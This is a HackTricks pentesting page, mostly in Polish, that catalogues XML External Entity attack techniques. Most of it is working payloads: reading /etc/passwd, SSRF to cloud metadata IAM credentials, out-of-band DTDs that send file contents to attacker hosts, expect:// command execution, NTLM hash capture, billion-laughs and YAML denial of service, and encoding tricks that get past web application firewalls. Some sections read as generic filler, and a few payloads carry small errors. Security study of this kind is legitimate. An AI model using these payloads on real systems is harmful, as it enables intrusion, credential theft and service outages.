hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
2024-02-11 01:46:25 +00:00

45 KiB

XXE - XEE - Zewnętrzne Encje XML

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawy XML

XML to język znaczników przeznaczony do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która umożliwia użycie opisowo nazwanych znaczników. Różni się od HTML, nie będąc ograniczonym do zestawu predefiniowanych znaczników. Znaczenie XML-u zmalało wraz z wzrostem popularności JSON-a, pomimo początkowej roli w technologii AJAX.

  • Reprezentacja danych za pomocą encji: Encje w XML umożliwiają reprezentację danych, w tym specjalnych znaków takich jak &lt; i &gt;, które odpowiadają < i > w celu uniknięcia konfliktu z systemem znaczników XML.

  • Definiowanie elementów XML: XML umożliwia definiowanie typów elementów, określając, jak powinny być zbudowane i jaką zawartość mogą zawierać, od dowolnego rodzaju zawartości do określonych elementów podrzędnych.

  • Definicja typu dokumentu (DTD): DTD jest kluczowy w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, określając, jak formatowane i walidowane są dokumenty.

  • Niestandardowe i zewnętrzne encje: XML obsługuje tworzenie niestandardowych encji w ramach DTD w celu elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków z wykorzystaniem zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Wykrywanie XXE za pomocą encji parametrowych: W celu wykrywania podatności XXE, zwłaszcza gdy konwencjonalne metody zawodzą ze względu na środki bezpieczeństwa parsera, można wykorzystać encje parametrowe XML. Te encje umożliwiają wykorzystanie technik wykrywania poza pasmem, takich jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Główne ataki

Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE Portswiggers: https://portswigger.net/web-security/xxe

Nowe testowe encje

W tym ataku sprawdzę, czy prosta deklaracja nowej encji działa.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Odczytaj plik

Spróbujmy odczytać /etc/passwd na różne sposoby. Dla systemu Windows możesz spróbować odczytać: C:\windows\system32\drivers\etc\hosts

W tym pierwszym przypadku zauważ, że SYSTEM "**file:///**etc/passwd" również zadziała.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Ten drugi przypadek może być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

W tym trzecim przypadku zauważamy, że deklarujemy Element stockCheck jako ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Wyświetlanie listy katalogów

W aplikacjach opartych na Java istnieje możliwość wyświetlenia zawartości katalogu za pomocą XXE, używając takiego payloadu (prośba o wyświetlenie katalogu zamiast pliku):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE może być wykorzystane do nadużycia SSRF w chmurze

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Korzystając z wcześniej omawianej techniki, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że nie są dozwolone jednostki XML, w takim przypadku możesz spróbować użyć jednostek parametru XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Wyciek danych poza pasmem

W tym przypadku zamierzamy zmusić serwer do załadowania nowego DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wielolinijkowych można spróbować wycieku za pomocą ftp://). Wyjaśnienie to oparte jest na laboratorium Portswiggers tutaj.

W podanym złośliwym DTD wykonuje się szereg kroków w celu wycieku danych:

Przykład złośliwego DTD:

Struktura jest następująca:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Kroki wykonane przez ten DTD obejmują:

  1. Definicja parametru encji:
  • Tworzona jest encja parametru XML o nazwie %file, która odczytuje zawartość pliku /etc/hostname.
  • Kolejna encja parametru XML o nazwie %eval jest definiowana. Dynamicznie deklaruje nową encję parametru XML o nazwie %exfiltrate. Encja %exfiltrate jest ustawiona tak, aby wysłać żądanie HTTP do serwera atakującego, przekazując zawartość encji %file w ciągu zapytania URL.
  1. Wykonanie encji:
  • Wykorzystuje się encję %eval, co prowadzi do wykonania dynamicznej deklaracji encji %exfiltrate.
  • Następnie używa się encji %exfiltrate, co powoduje wysłanie żądania HTTP do określonego adresu URL z zawartością pliku.

Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zwykle pod adresem URL takim jak http://web-attacker.com/malicious.dtd.

Ładunek XXE: Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ten payload definiuje parametrową jednostkę XML %xxe i włącza ją w DTD. Po przetworzeniu przez parser XML, ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie parser interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD i prowadząc do wycieku pliku /etc/hostname na serwer atakującego.

Oparte na błędach (zewnętrzne DTD)

W tym przypadku spowodujemy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest możliwe tylko wtedy, gdy można zobaczyć komunikaty o błędach). Przykład stąd.

Komunikat o błędzie parsowania XML, ujawniający zawartość pliku /etc/passwd, można wywołać za pomocą złośliwego zewnętrznego Dokumentu Definicji Typu (DTD). Osiąga się to za pomocą następujących kroków:

  1. Zdefiniowana jest parametrowa jednostka XML o nazwie file, która zawiera zawartość pliku /etc/passwd.
  2. Zdefiniowana jest parametrowa jednostka XML o nazwie eval, która zawiera dynamiczną deklarację dla innej parametrowej jednostki XML o nazwie error. Ta jednostka error, po ewaluacji, próbuje załadować nieistniejący plik, włączając zawartość jednostki file jako jego nazwę.
  3. Wywoływana jest jednostka eval, co prowadzi do dynamicznej deklaracji jednostki error.
  4. Wywołanie jednostki error skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku /etc/passwd jako część nazwy pliku.

Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Po wykonaniu, odpowiedź serwera WWW powinna zawierać komunikat błędu wyświetlający zawartość pliku /etc/passwd.

Należy zauważyć, że zewnętrzne DTD pozwala nam na umieszczenie jednej jednostki w drugiej (eval), ale jest to zabronione w przypadku wewnętrznego DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).

Oparte na błędach (system DTD)

Co z podatnościami na ślepe XXE, gdy blokowane są interakcje poza pasmem (brak dostępnych połączeń zewnętrznych)?.

Luka w specyfikacji języka XML może odsłonić poufne dane za pomocą komunikatów błędów, gdy w DTD dokumentu mieszają się deklaracje wewnętrzne i zewnętrzne. Ten problem umożliwia wewnętrzne przedefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują przedefiniowanie parametru jednostki XML, pierwotnie zadeklarowanego w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mający na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.

Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD o ścieżce /usr/local/app/schema.dtd, definiujący jednostkę o nazwie custom_entity. Atakujący może wywołać błąd analizy XML, ujawniający zawartość pliku /etc/passwd, przesyłając hybrydowe DTD w następujący sposób:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Kroki przedstawione są w tym DTD:

  • Definicja parametru XML o nazwie local_dtd obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
  • Następuje ponowna definicja parametru XML custom_entity, pierwotnie zdefiniowanego w zewnętrznym DTD, w celu zawarcia eksploitacji XXE opartej na błędach. Ta ponowna definicja ma na celu wywołanie błędu parsowania, ujawniającego zawartość pliku /etc/passwd.
  • Poprzez użycie parametru local_dtd, aktywowany zostaje zewnętrzny DTD, obejmujący nowo zdefiniowany custom_entity. Ta sekwencja działań prowadzi do wygenerowania komunikatu o błędzie, który jest celem eksploitacji.

Przykład z życia wzięty: Systemy korzystające z środowiska graficznego GNOME często mają DTD w lokalizacji /usr/share/yelp/dtd/docbookx.dtd, zawierający jednostkę o nazwie ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ponieważ ta technika wykorzystuje wewnętrzne DTD, musisz najpierw znaleźć ważne. Możesz to zrobić, instalując ten sam system operacyjny / oprogramowanie, którego używa serwer, i szukając domyślnych DTD, lub pobierając listę domyślnych DTD w systemach i sprawdzając, czy któryś z nich istnieje:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Aby uzyskać więcej informacji, sprawdź https://portswigger.net/web-security/xxe/blind

Znajdowanie DTD w systemie

W następującym niesamowitym repozytorium github można znaleźć ścieżki DTD, które mogą być obecne w systemie:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Ponadto, jeśli masz obraz Dockera systemu ofiary, możesz użyć narzędzia z tego samego repozytorium do skanowania obrazu i znalezienia ścieżki DTD, która jest obecna w systemie. Przeczytaj Readme na githubie, aby dowiedzieć się jak to zrobić.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE za pomocą parserów Office Open XML

Dla bardziej szczegółowego wyjaśnienia tego ataku, sprawdź drugą sekcję tego niesamowitego postu od Detectify.

Możliwość przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych, które następnie przetwarzają pewne szczegóły tych dokumentów. Na przykład, aplikacja internetowa może umożliwiać użytkownikom importowanie danych poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyciągnąć dane z arkusza kalkulacyjnego, konieczne jest przetworzenie co najmniej jednego pliku XML.

Aby przetestować tę podatność, konieczne jest utworzenie pliku Microsoft Office zawierającego ładunek XXE. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.

Po rozpakowaniu dokumentu, plik XML znajdujący się w ./unzipped/word/document.xml powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML powinien zostać zmodyfikowany w celu dodania żądanego ładunku XXE, często zaczynając od żądania HTTP.

Zmodyfikowane linie XML powinny zostać wstawione między dwa główne obiekty XML. Ważne jest, aby zastąpić adres URL monitorowalnym adresem URL dla żądań.

Na koniec, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped", należy uruchomić następujące polecenie:

Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i mieć nadzieję, że żądanie pojawi się w dziennikach Burp Collaborator.

Protokół Jar:

Protokół jar jest dostępny wyłącznie w aplikacjach Java. Jest on zaprojektowany w celu umożliwienia dostępu do plików w archiwum PKZIP (np. .zip, .jar, itp.), obsługując zarówno pliki lokalne, jak i zdalne.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest bardzo przydatne do wykorzystania XXE za pomocą plików DTD systemu. Sprawdź tą sekcję, aby dowiedzieć się, jak wykorzystać pliki DTD systemu. {% endhint %}

Proces uzyskiwania dostępu do pliku wewnątrz archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:

  1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak https://download.website.com/archive.zip.
  2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana na systemie, zwykle w lokalizacji takiej jak /tmp/....
  3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
  4. Odczytywany jest konkretny plik wewnątrz archiwum, file.zip.
  5. Po zakończeniu operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.

Interesującą techniką, która przerywa ten proces na drugim kroku, jest utrzymanie otwartego połączenia serwera przez czas nieokreślony podczas udostępniania pliku archiwum. Narzędzia dostępne w tym repozytorium mogą być wykorzystane w tym celu, w tym serwer Pythona (slow_http_server.py) i serwer Javy (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} Zapisywanie plików w katalogu tymczasowym może pomóc w eskalacji innej podatności związanej z przechodzeniem ścieżki (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Atak Billion Laugh

Atak Billion Laugh (miliard śmiechów) jest jednym z rodzajów ataków typu Denial of Service (DoS), który wykorzystuje podatność na ataki XML External Entity (XXE). W tym ataku, złośliwie spreparowany plik XML jest wysyłany do serwera, który próbuje go przetworzyć. Plik XML zawiera wiele zagnieżdżonych encji, które odwołują się do siebie nawzajem, tworząc nieskończoną pętlę. To powoduje, że serwer zużywa dużą ilość zasobów, takich jak pamięć i moc obliczeniowa, co prowadzi do niedostępności usługi dla innych użytkowników.

Atak Billion Laugh może być bardzo skuteczny, ponieważ serwer próbuje przetworzyć nieskończoną liczbę encji, co prowadzi do wyczerpania zasobów. Aby zabezpieczyć się przed tym atakiem, serwery powinny być skonfigurowane w taki sposób, aby nie przetwarzały zagnieżdżonych encji lub ograniczały ich liczbę.

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Atak Yaml

Yaml (Yet Another Markup Language) jest popularnym formatem danych, który jest często używany do konfiguracji aplikacji. Atak Yaml polega na wykorzystaniu podatności w parsowaniu danych Yaml w celu wykonania nieautoryzowanych działań.

Jak działa atak Yaml?

Atak Yaml wykorzystuje podatność w parserze Yaml, który nieprawidłowo obsługuje niezaufane dane wejściowe. Atakujący może wstrzyknąć złośliwy kod Yaml, który zostanie wykonany przez parser, co może prowadzić do różnych niebezpiecznych działań, takich jak wykonanie dowolnego kodu na serwerze.

Przykład ataku Yaml

Poniżej przedstawiono przykład ataku Yaml, w którym atakujący próbuje wywołać komendę systemową na serwerze:

!!python/object/apply:os.system ['ls']

W powyższym przykładzie, atakujący wykorzystuje złośliwy kod Yaml, aby wywołać komendę systemową "ls" na serwerze. Jeśli parser Yaml nie jest odpowiednio zabezpieczony, to taka manipulacja może zostać wykonana.

Jak się chronić przed atakiem Yaml?

Aby chronić się przed atakiem Yaml, należy:

  • Unikać parsowania niezaufanych danych Yaml.
  • Sprawdzać i filtrować dane wejściowe, aby zapobiec wstrzykiwaniu złośliwego kodu Yaml.
  • Aktualizować parser Yaml do najnowszej wersji, która zawiera poprawki bezpieczeństwa.
  • Korzystać z narzędzi do analizy statycznej kodu, które mogą wykrywać potencjalne podatności w kodzie Yaml.
Podsumowanie

Atak Yaml wykorzystuje podatność w parserze Yaml, aby wykonać nieautoryzowane działania na serwerze. Aby się przed nim chronić, należy unikać parsowania niezaufanych danych Yaml, sprawdzać i filtrować dane wejściowe oraz aktualizować parser Yaml do najnowszej wersji.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Atak kwadratowego rozdmuchiwania

Uzyskiwanie NTML

Na hostach Windows możliwe jest uzyskanie skrótu NTML użytkownika serwera sieciowego poprzez ustawienie obsługi responder.py:

Responder.py -I eth0 -v

i wysyłając następujące żądanie

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Następnie możesz spróbować złamać hasz używając hashcat

Ukryte powierzchnie XXE

XInclude

Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikacji elementu DOCTYPE. Jednak atak XInclude zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.

Aby przeprowadzić atak XInclude, należy zadeklarować przestrzeń nazw XInclude i określić ścieżkę pliku dla zamierzonej zewnętrznej jednostki. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

SVG - Przesyłanie plików

Pliki przesyłane przez użytkowników do określonych aplikacji, które następnie są przetwarzane na serwerze, mogą wykorzystywać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), oparte są na XML.

Kiedy użytkownicy przesyłają obrazy, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).

Poniżej przedstawiono przykład takiego ataku, w którym złośliwy obraz SVG próbuje odczytać pliki systemowe:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Inna metoda polega na próbie wykonania poleceń za pomocą opakowania PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

W obu przypadkach format SVG jest wykorzystywany do przeprowadzenia ataków wykorzystujących możliwości przetwarzania XML przez oprogramowanie serwera, co podkreśla konieczność solidnej walidacji danych wejściowych i zabezpieczeń.

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się W ŚRODKU utworzonego obrazu SVG. Musisz mieć dostęp do utworzonego obrazu SVG.

PDF - Przesyłanie plików

Przeczytaj następujący post, aby dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: Od x-www-urlencoded do XML

Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

W takim przypadku możesz spróbować przesłać następujące żądanie, z tym samym rezultatem:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Z JSON do XEE

Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie "Content Type Converter". Tutaj znajdziesz ten przykład:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Inny przykład można znaleźć tutaj.

WAF i obejścia zabezpieczeń

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

To działa tylko wtedy, gdy serwer XML akceptuje protokół data://.

UTF-7

Możesz użyć ["Przepisu na kodowanie" cyberchef tutaj ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) przekształcić na UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass protokołu File:/

Jeśli strona internetowa używa PHP, zamiast używać file:/, możesz użyć obudow PHP php://filter/convert.base64-encode/resource=, aby uzyskać dostęp do wewnętrznych plików.

Jeśli strona internetowa używa Javy, możesz sprawdzić protokół jar.

Encje HTML

Sztuczka z https://github.com/Ambrotd/XXE-Notes
Możesz utworzyć encję wewnątrz encji, kodując ją za pomocą encji HTML, a następnie wywołać ją, aby załadować dtd.
Należy zauważyć, że używane encje HTML muszą być numeryczne (jak w tym przykładzie [w tym przykładzie](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Przykład DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappery

Base64

Wyciągnij index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Wyodrębnianie zewnętrznego zasobu

An XML External Entity (XXE) attack is a type of vulnerability that allows an attacker to extract data from the server or perform other malicious actions by exploiting the way XML parsers process external entities.

During an XXE attack, the attacker injects a specially crafted XML input that contains a reference to an external entity. This entity can be a local file, a remote file, or even a URL. When the XML parser processes the input, it resolves the external entity reference and retrieves its content.

To extract an external resource using XXE, the attacker needs to identify a vulnerable XML parser and inject the malicious XML input. The attacker can then observe the response from the server to extract the desired information.

There are several techniques that can be used to extract external resources through XXE attacks, including:

  • File Inclusion: The attacker can reference a local file on the server and retrieve its content.
  • Remote File Inclusion: The attacker can reference a remote file and retrieve its content.
  • URL Invocation: The attacker can reference a URL and retrieve its content.
  • Out-of-Band (OOB) Retrieval: The attacker can use XXE to send data to an external server controlled by them, allowing them to retrieve the data through a different channel.

To prevent XXE attacks, it is important to properly configure XML parsers and disable the processing of external entities. Additionally, input validation and sanitization should be implemented to prevent malicious XML input from being processed.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Wykonywanie zdalnego kodu

Jeśli moduł "expect" w PHP jest załadowany

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

SOAP (Simple Object Access Protocol) jest protokołem komunikacyjnym wykorzystywanym do wymiany danych między aplikacjami. Jednakże, SOAP może być podatny na ataki XEE (XML External Entity), które pozwalają na odczytanie danych z serwera lub wykonanie zdalnego kodu.

Atak XEE wykorzystuje podatność w przetwarzaniu danych XML przez serwer SOAP. Atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML. Gdy serwer próbuje przetworzyć te encje, może spowodować odczytanie danych z plików systemowych lub wykonanie kodu na serwerze.

